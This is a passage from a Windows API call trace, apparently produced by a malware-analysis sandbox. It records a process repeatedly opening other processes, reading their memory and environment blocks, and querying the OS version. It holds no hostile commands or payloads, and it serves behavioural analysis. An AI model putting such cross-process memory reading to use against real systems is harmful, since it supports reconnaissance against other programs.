hProcess=0x16c, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.281] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.282] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.282] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.283] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.283] malloc (_Size=0x86) returned 0x20abc2aad50 [0289.283] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2aad50, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aad50*, lpNumberOfBytesRead=0x0) returned 1 [0289.283] free (_Block=0x20abc2aad50) [0289.284] CloseHandle (hObject=0x16c) returned 1 [0289.285] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0289.289] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1008") returned 4 [0289.290] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.290] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.318] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x16c [0289.318] GetLastError () returned 0x0 [0289.319] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.320] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.320] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.320] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.321] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.323] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.324] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.324] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.325] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.325] malloc (_Size=0x62) returned 0x20abc2801b0 [0289.325] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2801b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0289.325] free (_Block=0x20abc2801b0) [0289.326] CloseHandle (hObject=0x16c) returned 1 [0289.327] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0289.331] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="528") returned 3 [0289.332] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.332] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.348] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x16c [0289.348] GetLastError () returned 0x0 [0289.349] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.349] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.350] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.350] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.350] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.351] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.354] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.354] malloc (_Size=0x82) returned 0x20abc2aade0 [0289.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc2aade0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aade0*, lpNumberOfBytesRead=0x0) returned 1 [0289.355] free (_Block=0x20abc2aade0) [0289.356] CloseHandle (hObject=0x16c) returned 1 [0289.356] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0289.360] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1116") returned 4 [0289.362] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.362] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.377] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x16c [0289.377] GetLastError () returned 0x0 [0289.379] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.379] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.379] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.379] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.379] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.381] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.382] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.387] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.388] malloc (_Size=0x66) returned 0x20abc280840 [0289.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc280840, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0289.389] free (_Block=0x20abc280840) [0289.392] CloseHandle (hObject=0x16c) returned 1 [0289.393] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0289.400] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1288") returned 4 [0289.402] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.402] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.458] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x16c [0289.458] GetLastError () returned 0x0 [0289.459] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.459] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.459] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.460] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1b70, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.460] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1818, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.461] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.462] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.462] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.462] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1200, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.463] malloc (_Size=0x42) returned 0x20abc27cb20 [0289.463] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cb20, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0289.463] free (_Block=0x20abc27cb20) [0289.465] CloseHandle (hObject=0x16c) returned 1 [0289.466] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0289.470] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1336") returned 4 [0289.471] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.471] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.501] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x16c [0289.501] GetLastError () returned 0x0 [0289.502] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.502] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.503] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.503] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.503] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc22fc240, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.504] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.506] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.506] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.506] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.506] malloc (_Size=0x18) returned 0x20abc281b00 [0289.506] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc281b00, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281b00*, lpNumberOfBytesRead=0x0) returned 1 [0289.506] free (_Block=0x20abc281b00) [0289.507] CloseHandle (hObject=0x16c) returned 1 [0289.508] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1540") returned 0x0 [0289.511] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1540") returned 4 [0289.512] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.512] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x16c [0289.526] GetLastError () returned 0x0 [0289.527] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.527] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.527] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.528] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.528] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc22fc240, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.530] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.531] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.531] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.531] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.531] malloc (_Size=0x64) returned 0x20abc280840 [0289.531] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0289.532] free (_Block=0x20abc280840) [0289.533] CloseHandle (hObject=0x16c) returned 1 [0289.533] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0289.536] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1604") returned 4 [0289.537] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.538] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x16c [0289.551] GetLastError () returned 0x0 [0289.552] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.552] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.554] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.555] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb845380020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.555] malloc (_Size=0x5a) returned 0x20abc2803e0 [0289.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc2803e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2803e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.556] free (_Block=0x20abc2803e0) [0289.557] CloseHandle (hObject=0x16c) returned 1 [0289.557] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0289.562] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="1912") returned 4 [0289.563] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, 